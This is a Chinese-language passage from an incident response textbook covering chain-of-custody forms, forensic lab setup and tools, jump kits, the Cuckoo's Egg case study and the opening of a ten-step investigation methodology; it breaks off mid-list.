证据链管理描述了证据在其生命周期中的文档记录。生命周期从个人首次接管证据开始,到事件最终处理完毕,证据可以归还或销毁为止。保持正确的证据链管理至关重要。如果证据需要进入法庭,任何证据链的中断都可能导致该证据无法被纳入诉讼程序。因此,确保完整记录证据的整个生命周期是至关重要的。
CSIRT 记录和维护证据链管理的方式主要有两种。
第一个是电子方式。有些制造商为法医实验室或执法机构等组织提供硬件和软件,自动化证据链管理过程。这些系统为每件证据使用独特的条形码贴纸。扫描仪读取这些条形码时,便创建了电子跟踪记录。
创建和维护证据链管理的第二种方法是纸笔法。此方法使用包含必要信息的纸质表单,用于开始和维护证据链管理。尽管纸笔法可能有些繁琐,并且需要更多的细心以确保表单免于毁损或篡改,但对于资源有限的小型 CSIRT 来说,这是一种更加经济有效的解决方案。
在适当的证据链管理表单应该包含什么内容方面,有几个部分,每个部分都有其需要提供的详细信息。以下截图显示了一个证据链管理表单模板(可以从 NIST 获得一个可编辑的证据链管理表单,网址:www.nist.gov/document/sample-chain-custody-formdocx).

图 3.2 – 证据链管理表单
需要填写的第一个部分是事件信息部分,如图 3.3所示。案件编号字段要求为案件或事件提供唯一标识符。这可以是事件编号或工单系统编号。第二个字段,分析员,记录了填写证据链管理表单首部分的分析员。最后,每个独立的证据项需要一个提交编号。这确保每个证据项都有其独立的证据链管理表单。

图 3.3 – 证据链管理表单中的事件信息部分
这部分的第二部分是对项目的详细描述。虽然包含多个不同元素可能显得有些冗余,但数字取证关注的正是细节。记录这些信息可以消除任何关于其真实性的疑问。此描述应包含以下内容:
-
项目编号:表单中应包含唯一的项目编号。如果有多个证据,将会填写一份单独的证据链表单。
-
描述:这应是对项目的简要描述。可以是简单的说明,例如“500 GB SATA 硬盘”。
-
制造商:此信息有助于当多个证据可能来自不同制造商时提供帮助。
-
型号:由于组件的型号种类繁多,记录型号可以提供有关项目的进一步细节。
-
序列号:如果事件涉及多个配置完全相同的系统,序列号尤为重要。试想如果六个硬盘同时被扣押且型号和规格相同,如何重建与每个硬盘对应的证据链。
完整的第一部分证据链表单将是这样的。

图 3.4 – 证据链表单中的电子媒体详情部分
在证据可能是逻辑文件(例如日志文件或在调查中捕获的图像)等情况下,可以使用备用部分。其包含以下元素:
-
获取日期/时间:准确记录获取特定文件的日期和时间非常重要。
-
描述:对获取的媒体的简要描述是有用的。如果在获取证据时使用了软件应用程序或取证工具,应注明。在其他情况下,例如日志文件,可能仅仅是外部硬盘的一个副本。
-
存储驱动器:在后续部分,我们将讨论外部媒体在文件存储中的重要性。使用的具体驱动器应记录在证据链表单中。
-
文件/图像名称:此处填写文件或图像的唯一文件名。
-
哈希值:对于每个获取的文件,应计算唯一的哈希值。
完整的图像或文件详情部分的证据链表单看起来会是这样的。

图 3.5 – 证据链表单中的图像或文件详情部分
接下来的部分详细描述了证据在其生命周期中的具体步骤。每个阶段应记录以下细节:
-
跟踪编号:此编号表示证据在生命周期中经过的步骤。
-
日期/时间:这是任何链条保管中至关重要的信息,并且适用于证据经历的每一步。这使得任何查看链条保管的人都能将每一步按分钟重构,明确证据的每个生命周期步骤。
-
来源和去向:这些字段可以是个人或存储位置。例如,如果分析员扣押了硬盘并将其移到安全存储柜,他们会将该位置记录为去向。在链条保管中,关键是确保在适当情况下,由个人签署表格以确保责任追究。
-
原因:移动一件证据时绝不应没有理由。在链条保管表格的这一部分中,原因会被描述。
以下截图是前一张截图中记录的硬盘移动样本。每个单独证据的每次移动都在这里记录。第一次移动是实际从系统中扣押硬盘。在此情况下,没有单独的保管员,因为硬盘已从数据中心取走。关键在于,作者是硬盘的保管员,直到他能将其转交给 IRProactive 的 Carol Davis 进行分析。详细信息如下:

图 3.6 – 链条保管详细信息
链条保管在证据的整个生命周期中保持完整。即使证据被销毁或归还,链条保管表格中也会有相应记录。这些表格应与由事件产生的其他材料一起保存,并作为任何后续报告的一部分。
检查
检验阶段详细说明了用于从事件中扣押的证据中发现和提取数据的具体工具和取证技术。例如,在怀疑恶意软件感染桌面系统作为更大攻击一部分的案件中,提取从获取的内存镜像中提取特定信息将在此阶段进行。在其他情况下,数字取证检查员可能需要从网络捕获中提取安全外壳(SSH)流量。数字证据的检查还延续了适当保存的过程,检查员在检查过程中会以极高的谨慎来保持证据。如果数字取证检查员在此阶段未能妥善保存证据,可能会导致证据污染,进而使证据变得不可靠或无法使用。
分析
一旦检查阶段提取了潜在相关的数据,数字取证检查员将开始分析这些数据,并结合获取的其他相关数据进行进一步分析。例如,如果数字取证分析员发现一个被入侵的主机与一个外部 IP 地址有开放连接,那么他们将把这一信息与从网络中捕获的数据包进行关联。以该 IP 地址为起点,分析员将能够隔离出相关流量。接下来,分析员可能会发现该被入侵主机正在向 C2 服务器发送信号。从这里,借助额外的资源,分析员可能能够确定与该 IP 地址相关联的攻击途径。
呈现
与数字取证相关的事实报告需要清晰、简明且公正。在几乎所有情况下,取证检查员都需要准备一份详细的书面报告,报告中要涵盖每一个操作步骤并捕捉所需的关键数据。该报告应该是全面的、准确的,并且不带有任何观点或偏见。这个报告通常会成为更大规模事件调查的一部分,并有助于确定事件的根本原因。
另一项呈现要求是取证检查员在刑事或民事诉讼中的角色。如果正在调查的事件涉及嫌疑人或其他责任方,可能需要在法庭上作证。正是在这一过程中,取证检查员需要以与报告相似的冷静态度,陈述取证检查的事实。检查员需要陈述事实和结论而不带偏见,并且可能会受到他们可以作证的意见范围的限制。检查员能否作证通常取决于他们的培训和经验。有些检查员可能仅限于呈现检查结果的事实;而随着技能的提升,并且被认定为专家证人后,他们可能能够提供个人意见。
数字取证实验室
数字取证是一个精确的过程,涉及使用适当的工具、技术和知识,从系统中提取潜在证据。取证检查员必须有一个与正常业务运营隔离的工作环境。实现这种隔离的最佳方法是为直接参与数字证据检查的计算机安全事件响应团队(CSIRT)成员提供一个完全与其他部门隔离的地方。数字取证实验室应具备几个关键特征,以确保检查员的必要隐私,同时也确保在检查过程中证据的完整性。
物理安全
法医实验室的访问需要严格控制。为了维护证据链,只有那些有正当理由的人才能进入实验室。此限制是为了消除任何证据被篡改或销毁的风险。因此,实验室应该始终保持上锁。理想情况下,访问权限应通过访问卡或钥匙扣授予,并配有中央管理系统进行控制。这样可以完整地重建所有在特定时间段内访问实验室的人员记录。
实验室还应配备证据储物柜,以便在没有被检查时妥善存放证据。储物柜应该是安全的,可以通过内置锁或使用组合锁进行加固。储物柜的钥匙应保存在实验室内,并且只应允许检查员访问。如果组织具备足够资源,每个具体事件应该有一个专门的储物柜,所有相关证据应存放在同一个柜子里。这样可以减少数字证据混合的可能性。
气候和湿度应像任何数据中心一样受到控制,并应设置为适当的水平。
工具
根据需要执行的具体检查,可能需要拆卸螺丝或剪断电线。为检查员准备一套小型手动工具将会非常方便。实验室还应该配备用于保护证据的盒子。如果检查员需要处理智能手机或平板电脑,应提供法拉第袋。这些袋子可以将智能手机或平板电脑与蜂窝网络隔离,同时仍保持电源。
硬件
实验室应配备足够的计算机和其他硬件,以执行各种必要的功能。检查员需要对硬盘进行成像,并处理数 GB 的数据。因此,需要一台具有足够 RAM 的法医计算机。虽然每个人的偏好不同,但推荐最少 32GB 的 RAM。除了内存和处理能力,检查员通常还需要查看大量数据。法医工作站应配备一块主要的操作系统硬盘,用于存放法医软件,另配一块二级硬盘用于存储证据。二级硬盘应至少有 2TB 的存储空间。
除了法医工作站外,检查员还应配备一台连接互联网的计算机。法医工作站应该没有互联网连接,以确保安全,同时避免在检查过程中证据可能遭到破坏。应该使用一台辅助计算机进行研究或编写报告。
另一个关键设备是物理写保护器。该设备允许将作为证据扣押的硬盘与取证成像机器连接。这个物理写保护器与 USB 或 Thunderbolt 连接的关键区别在于,数字取证检查员可以确保没有数据写入证据驱动。图 3.7 显示了 Tableau eSATA 取证桥物理写保护器:

图 3.7 – 一个物理写保护器
对于进行较多成像任务的数字取证实验室,可以选择包括一个专用的取证成像工作站。这可以更快地成像证据驱动,并且不会占用取证工作站。缺点是其费用:如果 CSIRT 成员没有看到性能下降,可能很难为这种开销辩护。
CSIRT 还应投资购买一批高容量外部 USB 驱动器。这些驱动器在成像过程中比传统的 SATA 或 IDE 驱动器更易于使用。这些驱动器用于存储证据驱动镜像,以便进一步分析。CSIRT 成员应至少有六个高容量的驱动器可用。存储空间为 2TB 至 3TB 的驱动器可能一次存储多个镜像。较小的 USB 驱动器也很有用,可以用来捕获日志文件和内存镜像,供稍后处理。任何这些 USB 驱动器都应配备最新的 3.0 版本,以便加快处理速度。
最后,支持 CSIRT 的数字取证检查员应该拥有一个耐用的箱子,用来运输所有必要的硬件,以防需要进行场外检查。许多这些工具非常脆弱,经不起当地机场行李搬运员的猛烈撞击。CSIRT 应投资购买至少两个硬壳箱,类似用于电子设备或摄影设备的箱子。一个箱子可以用来运输硬件,如外部硬盘,第二个箱子可以用来运输取证笔记本电脑,并最大限度地减少粗暴搬运可能造成的损坏。
软件
当前市场上有许多商业和免费软件工具。数字取证实验室应该能够访问多个工具,以执行类似的功能。至少,实验室应该拥有能够执行证据驱动镜像、检查镜像、分析内存捕获并报告结果的软件。
数字取证分析员可以使用几种不同类型的取证软件。首先是取证应用程序。这些应用程序是专门设计用于执行各种数字取证任务的。它们通常是商业化的,在执法和政府部门以及私人行业中得到广泛使用。以下四种取证应用程序是最常见且广泛部署的:
-
Autopsy:由 Brian Carrier 开发的这款开源软件,提供了一个功能丰富的应用程序,自动化了关键的数字取证任务。作为一个开源项目,Autopsy 还拥有提供大量附加功能的开源模块。Autopsy 将在后续章节中进行更深入的讲解。
-
EnCase:由 OpenText 开发,EnCase 是一款全功能的数字取证应用程序,执行涉及数字证据检查的各项任务,主要来自硬盘和其他存储介质。除了分析数字证据外,EnCase 还具备报告功能,允许检查员以易于理解的格式输出案件数据。EnCase 广泛应用于政府和执法机构。一个缺点是该应用程序的成本。对于预算有限的某些 CSIRT 和取证检查员来说,可能很难证明这一费用的合理性。
-
Forensic Toolkit (FTK):这也是一款广泛应用于政府和执法机构的全功能取证应用程序。它具备许多与 EnCase 相同的功能,可能是数字取证分析员希望探索的替代方案。
-
X-Ways Forensics:另一个选择是 X-Ways Forensics 应用程序。它的功能与 FTK 和 EnCase 相似,是一个低成本的优秀选择,适合那些不需要网络访问或远程捕获功能的 CSIRT。
使用已验证的工具
有几个高调的案件曾对数字取证工具提出质疑。在美国,凯西·安东尼因涉嫌谋杀女儿而受审。在审判期间,控方提交了安东尼的互联网浏览历史作为证据。这些历史记录是通过工具 CacheBack 提取的。工具作者对该软件的审查发现它存在一个软件漏洞。虽然没有确凿证据表明该工具对陪审团的裁决产生了影响,但这也给我们一个教训,即确保在数字取证中使用的工具,特别是在可能进入法律程序的案件中,都是经过验证的。
Linux 操作系统取证工具
也有许多为数字取证目的创建的 Linux 发行版。这些发行版通常是免费的,提供了可以帮助数字取证调查员的工具。这些工具分为两大类。第一类是作为启动 CD/DVD 或 USB 的发行版。这些发行版对于进行初步筛查或无需对硬盘进行镜像即可访问文件非常有用。这些发行版可以被放置在 CD/DVD 上,或者如今更常见的是 USB 设备上。调查员然后将被调查的系统引导到 Linux 发行版中。有许多这样的发行版可供选择。
以下是两个在数字取证检查员中较为流行的例子:
- 数字证据与取证工具包 (DEFT) Zero:这是基于 GNU Linux 平台的。DEFT 可以从 USB 或 CD/DVD 启动。启动后,DEFT 平台包含了广泛的工具,供数字取证检查员执行诸如获取大容量存储设备等操作。例如,他们可以获取启动该平台的系统上的硬盘。DEFT 通过不启动交换分区且不使用自动挂载脚本,最大限度地降低了数据更改的风险,从而确保系统存储的完整性。我们可以在下图中看到 DEFT 操作系统。

图 3.8 – DEFT 数字取证操作系统
- 计算机辅助调查环境 (CAINE):这是本书中将进一步使用的另一个取证发行版。CAINE 是一个 GNU/Linux 平台,包含了多种工具,旨在帮助数字取证检查员。CAINE 在下图中展示。

图 3.9 – CAINE 数字取证操作系统
另一类 Linux 发行版是那些为进行证据检查(如 RAM 捕获和网络证据)而设计的平台。当前有多个此类发行版:
- SANS 调查取证工具包 (SIFT):这是一个全面的取证工具集,基于 Ubuntu 20.04 基础操作系统。工具包括图像制作、内存分析、时间线创建以及其他多种数字取证任务。SIFT 由 SANS 学院免费提供,作为独立虚拟机、ISO 文件或 Windows 子系统 Linux 的一部分,详细信息请见
www.sans.org/tools/sift-workstation。安装后,系统桌面基于 Ubuntu 发行版,提供通过命令行或 GUI 运行的附加工具,如下图所示。

图 3.10 – SANS SIFT 工作站
- CSI Linux:这是 CSI Linux 中的另一个功能丰富的取证平台,如下图所示。这个数字取证操作系统包括 175 个工具,用于执行各种任务。该工具可以作为预配置的虚拟系统提供,也可以作为可启动版本,通过 USB 进行部署。这些内容可以在
csilinux.com找到。

图 3.11 – CSI Linux 数字取证操作系统
- REMnux:REMnux 是一个专门的工具,它将多种恶意软件逆向工程工具整合成一个基于 Ubuntu Linux 的工具包。REMnux 中提供的一些工具是用于分析 Windows 和 Linux 恶意软件,检查可疑文档,还可以在隔离的容器中拦截潜在的恶意网络流量。我们可以在下图中看到 REMnux。

图 3.12 – REMNUX 数字取证操作系统
跳跃包
事件响应的一个方面可能对 CSIRT 团队成员构成挑战的是,他们可能不得不在自己所在地之外响应事件的可能性。在大型企业中,离场响应非常普遍,甚至是为其他组织提供咨询的 CSIRT 的常态。因此,CSIRT 经常需要在另一个位置执行整个响应过程,而没有数字取证实验室的支持。考虑到这一挑战,CSIRT 应准备几个跳跃包。这些包预先配置,并包含执行 CSIRT 在事件期间可能被要求执行的任务所需的硬件和软件。这些包应能够在整个过程中支持事件调查,CSIRT 应在事件位置确定安全区域以存储和分析证据。
跳跃包应便携,能够配置以适合安全硬壳箱内,并随时准备部署。CSIRT 应确保在每次事件之后,跳跃包被重新装填上次使用的任何物品,并且硬件和软件被正确配置,以便分析师在事件期间对其可用性有信心。跳跃包的一个示例可见以下照片。

图 3.13 – 数字取证跳跃包
至少,一个跳跃包应包含以下内容:
-
取证笔记本电脑:此笔记本应包含足够的 RAM(32 GB),以在合理时间内制作硬盘镜像。笔记本还应包含取证软件平台(如前所述)。如果可能的话,笔记本还应包含至少一个 Linux 取证操作系统,如 CAINE 或 SIFT。
-
网络电缆:拥有几根不同长度的 CAT5 电缆对 CSIRT 团队来说非常有用,因为他们可能需要访问网络或连接到任何网络硬件,如路由器或交换机。
-
物理写入阻断器:每个包都应配备物理写入阻断器,可用于影像化 CSIRT 人员可能遇到的任何硬盘驱动器。
-
外部 USB 硬盘驱动器:跳跃包应包含几个 1TB 或 2TB 的 USB 硬盘驱动器。这些驱动器将用于影像化潜在受损系统上的硬盘。
-
外部 USB 设备:从日志来源或 RAM 捕获收集的证据存储在潜在受损系统上是不符合法庭取证原则的。跳跃包应包含几个大容量(64 GB)的 USB,用于卸载日志文件、RAM 捕获或其他从命令行输出获取的信息。
-
可启动的 USB 或 CD/DVD:虽然并非每种情况都会使用,但在取证笔记本当前正在执行其他任务时,拥有几个可启动的 Linux 发行版可能会有用。
-
证据袋或盒子:在事件发生过程中,可能需要扣押某些证据并将其转移到现场外。应当具备在现场安全存放证据的能力,而无需到处寻找合适的容器。
-
防静电袋:如果硬盘被扣押作为证据,应当使用防静电袋进行运输。
-
链条证明表格:如前所述,为每一件证据准备一份链条证明表格至关重要。准备好一打空白表格,可以省去寻找系统和打印机打印新副本的麻烦。
-
工具包:一个小型工具包,内含螺丝刀、钳子和手电筒,在需要拆卸硬盘、切断连接或分析人员必须进入数据中心黑暗角落时非常有用。
-
记事本和书写工具:正确的文档记录至关重要;用钢笔手写的笔记可能显得有些过时,但它们是记录事件发展过程的最佳方式。作为跳跃包的一部分,准备几个速记本和钢笔,确保 CSIRT 人员在关键事件发生时不必到处寻找这些物品。跳跃包应至少每月进行一次清点,确保物资齐全,随时准备部署。它们还应当安全存放,只对 CSIRT 人员可见。若将这些包放置在公共视野中,它们经常被其他人员抢夺,用来寻找螺丝刀、网线或手电筒。对于支持地理分散组织的 CSIRT 来说,若在主要办公室总部、数据中心或其他外部地点有多个跳跃包,预先准备好多个跳跃包供使用是一个好主意。这样可以避免在机场携带跳跃包。以下照片展示了跳跃包中应存放的一些物品。

图 3.14 – 跳跃包的内容
恭喜你成功完成这一章!
摘要
事故响应涵盖广泛的学科,从法律到科学。负责进行数字取证检查的 CSIRT 成员应非常熟悉数字取证的法律和技术方面。此外,他们还应熟悉各种必需的工具和设备,以获取、检查和展示检查过程中发现的数据。正确应用取证技术对于提供事件链的洞察至关重要,这些事件链导致 CSIRT 被部署以调查事故。在本章中,我们首先探讨了数字取证的各种法律方面,例如证据规则和与网络犯罪相关的法律。接下来,我们讨论了数字取证的科学,了解了如何将技术应用于调查中。为了增强这些知识,我们审视了这些技术如何融入数字调查的框架。然后,我们对数字取证检查员可用的各种工具进行了概述。
在下一章,我们将把数字取证与事故响应的调查方法结合起来。
问题
-
什么不是联邦证据规则?
-
相关证据的测试
-
洛卡尔法则
-
专家证人的证词
-
最佳证据规则
-
-
应保持适当的证据链以确保数字证据的完整性。
-
正确
-
错误
-
-
哪些项目应包括在数字取证工具包中?
-
物理写入阻断器
-
记事本和钢笔
-
网络电缆
-
以上所有
-
-
什么不是取证过程的一部分?
-
识别
-
法庭证词
-
收集
-
分析
-
进一步阅读
-
数字取证研究工作坊:
www.dfrws.org -
ISACA 的数字取证概述:
www.isaca.org/Knowledge-Center/Research/ResearchDeliverables/Pages/overview-of-digital-forensics.aspx -
FBI CART 的历史背景:
www.ncjrs.gov/App/Publications/abstract.aspx?ID=137561
第四章:调查方法论
到目前为止,前三章已经介绍了事件响应的基础知识,以及数字取证如何在理解事件性质中发挥关键作用。事件响应的另一个关键组成部分是调查环节。事件调查是一种方法论和过程,分析师通过这一过程提出假设并进行验证,以回答关于数字事件的问题。数字调查过程中的主要数据来自对数字证据的正确处理和分析。图 4.1展示了数字取证、事件响应和事件调查之间的关系。

图 4.1 – 数字取证、事件调查与事件响应之间的关系
本章将重点讨论作为整体事件响应过程一部分的事件调查。通过这些方法论,分析师将有一张路线图,指导他们以有组织且系统化的方法处理事件调查。
本章将涵盖以下主题:
-
入侵分析案例研究:布谷鸟的蛋
-
事件调查分析的类型
-
功能性数字取证方法论
-
网络杀伤链
-
入侵分析的钻石模型
入侵分析案例研究:布谷鸟的蛋
在过去的 30 年中,发生了许多引人注目的事件,因此找到一个能够概括良好的事件调查案例并不困难。回溯到最初的事件调查之一,可能会有所帮助,在那时有人需要创造收集证据的方法,并追踪全球范围内的对手。需要记住的一个分析方面是,即使没有构建方法,这些人也能提出假设,进行测试并分析结果,最终得出结论,从而帮助找出犯罪分子。
1986 年 8 月,天文学家和劳伦斯伯克利实验室(LBL)的系统管理员克里夫·斯托尔(Cliff Stoll)接到了上司交给他的一个谜题。在一次例行审计中,LBL 的工作人员发现了一个 0.75 美元的账目错误。当时,计算机资源非常昂贵。每一项计算都必须按照项目或实验室部门进行计费,这要求维护和审计非常详细的用户账户活动日志。对错误的快速检查发现,存在一个没有任何相应计费信息的用户账户。
当 LBL 收到来自国家计算机安全中心的消息时,谜团加深了。消息称,LBL 的一名用户正在试图访问 MILNET 系统,即国防部的内部网络。Stoll 和他的同事删除了未经授权的账户,但那个仍未被识别的入侵者依然存在。Stoll 最初的假设是,来自附近加利福尼亚大学的一个学生恶作剧者正在对 LBL 和连接的各个 MILNET 实体进行一场精心设计的恶作剧。Stoll 随后开始更详细地检查账单日志,以确定入侵背后的人是谁。接下来是长达十个月的历程,Stoll 追踪了从美国到欧洲的流量。
放弃了“恶作剧者”假设后,Stoll 的第一步是创建一个记录所有他和 LBL 其他工作人员活动的日志。在调查的初期,Stoll 遇到了一个其他响应者必须通过艰难方式学到的教训:入侵者在访问受损系统时,可能能够访问电子邮件和其他通信。因此,Stoll 和他的团队转而使用面对面的交流或电话联系,同时保持持续发送虚假电子邮件,以让入侵者保持自信,认为他们仍未被发现。这些日志在调查的后期阶段将派上用场,当事件的更清晰的图景浮现时,它们会提供帮助。
Stoll 和团队面临的第一个重大挑战是无法查看 LBL 网络和入侵者的活动。在 1986 年,事件记录、数据包捕获和入侵检测系统(IDSs)等工具并不存在。Stoll 解决这个问题的方法是在线路上串联打印机,这些线路通向最初的入侵点。这些打印机会作为未知入侵者活动的日志记录。通过检查入侵者的连接,Stoll 能够确定入侵者使用的是 X.25 端口。由此,Stoll 能够设置一个被动监听装置,捕捉入侵者的击键,并将数据输出到软盘或物理打印机。
通过监控网络,Stoll 随后遇到了另一个挑战:追踪攻击者的来源。当时,远程连接是通过电话线完成的,追溯连接的能力依赖于多个电话公司。更具挑战性的是,攻击者通常会将 LBL 连接作为跳板,连接到其他网络。这意味着 Stoll 追踪的连接通常只会持续几分钟。Stoll 在系统上设置了多个警报,通过皮带呼叫器提醒他,这时他可以远程连接到 LBL 系统,开始另一轮追踪。尽管采取了这些措施,Stoll 和他的同事们仍然无法保持连接足够长的时间来确定源头。
解决这个挑战的办法出现在攻击者试图访问的内容上。在分析过程中,Stoll 观察到攻击者不仅仅是在访问 LBL 网络,还利用这个连接搜索美国军事及其相关防务承包商的其他网络。Stoll 想出的解决方案来源于当时女友的建议。为了保持入侵者的连接,Stoll 创建了一系列虚假的文档,标题看起来像是与战略防御倡议(SDI)项目相关的。任何试图获取机密信息的人都会立刻认识到这些文件的战略重要性。此外,Stoll 还植入了一封表格信件,说明可以通过邮寄方式获取硬拷贝文件。文件的访问受到严格控制,并且对文件设置了警报,以便在攻击者试图访问时得到提示。这种方法奏效了。那位尚未确认身份的入侵者不仅花了一个小时阅读这些虚构的文件,还通过邮局提交了请求,要求将自己加入邮件名单。
在这 10 个月的时间里,Stoll 不断遇到的主要难题是追踪攻击者与 LBL 网络的连接。入侵者始终保持着使用广泛网络连接的模式。其次,入侵者会变化连接的时间,每次只保持几分钟。通过最初的工作,Stoll 成功定位到加利福尼亚州奥克兰的一个拨号连接。在与电话公司的合作下,他成功隔离了一个来自维吉尼亚州麦克林的防务承包商的调制解调器连接。通过数据通信公司 Tymnet 的协调,Stoll 和团队最终将连接追踪回德国的 LBL 网络。
正是 Stoll 将虚构的文件放置在 LBL 系统上后,他才得以完成追踪。即便如此,这一追踪工作需要 Stoll、Tymnet、各大学以及德国执法部门的密切协调。最终,Stoll 的努力得到了回报,他成功识别出肇事者是德国 Chaos Computer Club 的成员。这些人还与美国各大学和国防承包商相关的多起入侵事件有关。
审视 1986 年的网络入侵可能看起来有些奇怪,但我们仍然可以从 Stoll 的工作中学到很多东西。首先,这无疑是第一次公开记录的高级持续性威胁(APT)攻击。随后,由 FBI 和其他政府机构进行的调查确定,Chaos Computer Club 正试图通过将情报出售给国家安全委员会(KGB)来谋取财务利益。一个有趣的插曲是,最初,KGB 在进行网络入侵以获取情报方面几乎没有经验。Stoll 揭示了一个重要的漏洞,反间谍人员本应意识到:对手的情报机构正在利用新兴的互联网作为情报收集手段。
Cliff Stoll 的故事
Cliff Stoll 曾广泛撰写和演讲,分享他追踪 LBL 黑客的经历。他的文章《追踪狡猾的黑客》副本包含在本章的补充材料中。Stoll 还出版了完整的书籍《布谷鸟的蛋》。尽管这些事件发生在 35 年前,这本书仍然值得一读。
我们可以从中学到的第二个教训是,全面而详细的调查可以追溯到攻击的源头。在这种情况下,Stoll 本可以轻松切断连接并将攻击者从网络中移除。然而,他决定全面详细地记录攻击者的战术、技术和程序(TTPs)。通过一些欺骗手段,他进一步将某个个人与键盘绑定,这在 1986 年是一个非常困难的任务。总体而言,Stoll 展示了通过对入侵事件的详细调查,他和其他人可以揭示攻击的更广泛范围的细节,这些攻击远远超出了一个 0.75 美分的会计错误,涉及到全球间谍活动和冷战政治。这些教训今天依然和 1986 年一样具有现实意义。在我们分析入侵分析如何成为我们理解当今攻击者的来源时,请牢记这一点。
事件调查分析的类型
数字化调查并非完全相同。计算机安全事件响应团队(CSIRT)会根据允许的时间、事件类型和整体调查目标停止调查。对于小规模的恶意软件爆发,让两三名 CSIRT 分析员花费整整一天进行调查是没有意义的。另一方面,如果是一个网络入侵,且入侵者已经在网络中存在了三个月,那么就需要更为详细的证据检查,以确定入侵者是如何获得访问权限的,他们收集和外泄了哪些信息,以及对组织造成了什么影响。
结果是,不同的人会在组织内进行多种类型的事件调查。图 4.2 显示了五个层级以及参与的人员,附带相应的时间和所需的调查资源:

图 4.2 – 事件调查的类型
让我们详细讨论这五个层级:
-
检测分析:这是通常在安全事件初步检测到时进行的基本分析。例如,安全设备的遥测数据显示与已知的命令与控制(C2)服务器之间有网络连接。快速查看仪表板可能会显示一个本地化事件或潜在的更大规模事件。检测分析通常局限于遥测数据和次要来源,如外部威胁情报源。此分析的目标是确定该事件是否属于需要上报给 CSIRT 的安全事件。
-
初步分析:安全事件通常是模糊的。CSIRT 和 SOC 人员需要了解最初的感染情况、横向传播以及入侵者如何维持对受损系统的控制。初步分析使用快速获取选定证据并进行分析的工具,旨在确定事件的范围,并向领导层提供信息,以便遏制事件并争取时间决定下一步的调查和响应措施。
-
根本原因分析:此类调查通常与遏制措施同时执行。其主要目标是获取和分析证据,以确定入侵者是如何获得网络访问权限的,他们采取了哪些步骤,这些步骤具体是什么,以及对组织可能造成的影响。此类调查的目的是修复漏洞,提升企业整体安全性,从而减少未来入侵的风险。
-
入侵分析:通过根本原因分析,组织可以深入了解对手的战术、技术和程序(TTPs)。入侵分析更详细地呈现对手在网络入侵过程中如何操作的全面图景。正如图 4.2所示,入侵分析通常比应对、消除并恢复事件所需的时间和调查工作量要长得多。尽管如此,入侵分析确实对组织有帮助,因为它为组织提供了对对手行为的全面洞察。这不仅能解释对手的行为,还能为识别更高级的对手提供有价值的情报。
-
归因分析:在时间和调查工作量方面,归因分析位于最上端。简单来说,归因分析将一次入侵事件与某个威胁行为者联系起来。这可以是一个团体,比如 Conti 勒索病毒团体、Fancy Bear,或者在某些情况下,比如 Mandiant APT1 报告中的情况(
www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf?source=post_page),入侵活动可能与中国军方的某个特定单位及具体个体相关。事件归因所需的时间和资源通常超出了 CSIRT 的能力范围。归因分析通常主要用于网络威胁情报目的。尽管如此,仍有一些组织利用 CSIRT 成员的调查经验、工具和技术,因此,团队仍然有可能参与此类分析。
这些分析各自都有其在事件调查中的作用。进行哪种类型的分析取决于几个因素:首先是组织的整体目标。例如,网络入侵可能只会调查到根本原因,因为组织没有足够的时间或资源进一步深入。在其他事件中,组织可能有法律或合规要求,要求事件必须进行全面调查,无论花费多长时间。
其次,可用的证据在很大程度上决定了分析能进行到什么程度。如果没有足够的证据来源来支撑网络中的调查,进行全面的入侵分析将会受到限制,甚至不可能。最后,进行更深入分析的时间也常常是一个决定性因素。组织可能没有足够的时间或人员来进行深入的入侵分析,或者它可能认为只要通过根本原因分析消除对手并防止未来的入侵就足够了。
功能性数字取证调查方法论
进行分析的不同方法论有很多种。以下数字取证调查方法论基于 NIST 特别出版物 800-61a 中列出的最佳实践,该文档涵盖了事件响应,并结合了彼得·斯蒂芬森博士的端到端数字调查方法。这两种方法论通过 Brian Carrier 和 Eugene H. Spafford 的研究出版物《Getting Physical with the Digital Investigation Process》进一步得到了补充。
对这种方法论的整体应用是使用数字证据和分析来验证或推翻假设。例如,分析人员可能基于初步识别,假设对手通过钓鱼邮件成功在网络上获得了初步立足点。分析人员需要从受感染的系统、端点遥测和其他来源收集必要的信息,追溯通过邮件引入恶意软件的过程。
以下方法论使用了事件调查的 10 个不同阶段,以确保所获得的数据被正确分析,并且得出的结论能够支持或驳斥所建立的假设。

图 4.3 – 十步调查方法论
识别与范围界定
这是事件调查的第一阶段,一旦检测到并声明为事件,调查便开始。最常见的情况是,安全遥测系统如端点检测与响应(EDR)平台或 IDS(入侵检测系统)显示环境中检测到某种行为、入侵指标(IOC)或两者的组合。在其他情况下,事件的识别可能来自人工来源。例如,某个个人可能指出他们点击了一个可疑链接,或者他们的系统文件被勒索软件加密了。在某些人为情况中,组织可能会收到执法部门的通知,告知其机密信息已在对手的基础设施中被发现。
在这些情况下,初步识别应当通过对遥测的初步检查来增强,以识别可能成为事件一部分的其他系统。这为调查设置了范围或限制。如果能够确认使用了 Windows 二进制文件来加密 Windows 操作系统主机,组织则无需关注 Linux 系统。
收集证据
一旦事件被识别并确定范围,下一阶段是开始收集证据。应优先收集短期存在的证据,按照第三章中讲到的波动性列表进行收集。事件响应和数字取证人员应确保尽可能保留证据,即使他们认为在调查初期这些证据可能没有用。例如,如果网络管理员知道防火墙日志每 24 小时会自动滚动,那么应该立即捕获这些日志。如果后来确定防火墙日志没有用处,可以轻松丢弃它们,但如果它们本来会有用而没有及时收集,组织可能会失去一些关键数据点。
证据的波动性和整体可用性应在事件响应计划中加以考虑。例如,应制定相关政策和程序,解决日志文件在定义的时间内的保留问题。例如,支付卡行业数据安全标准(PCI DSS)要求受此标准约束的组织至少保留一年期的日志,并确保至少 90 天的日志是立即可用的。组织需要在存储成本和某些日志可能具有的证据价值之间找到平衡。
本书的几个章节深入探讨了证据获取的更多细节。关于事件调查的主要观点是尽可能地完成证据获取。俗话说“多多益善”。事件响应或数字取证分析师最不希望发生的事情是因为组织没有准备好或无法及时获取证据,导致缺少事件中的关键部分。
初步事件分析
在获取证据后,调查过程的下一阶段是整理并开始检查各个单独事件。由于数据量庞大,这可能会很困难,因此这不一定是详细的检查(这将在后续进行),而是第一次分析,以确定哪些数据点具有证据价值。例如,在勒索软件案件中,攻击者通常使用像虚拟基础脚本(VBS)或 Base64 编码的 PowerShell 命令这样的脚本语言。对 Windows PowerShell 日志的审查可能会显示出编码命令的存在。在感染的系统中找到的 PDF 或 Word 文档可能会被检查,以显示 VBS 攻击的存在。
这一阶段的目标是寻找明显的 IOC。IOC 可以定义为表示系统或多个系统处于或曾处于对手控制下的数据点。IOC 可以分为三大类:
-
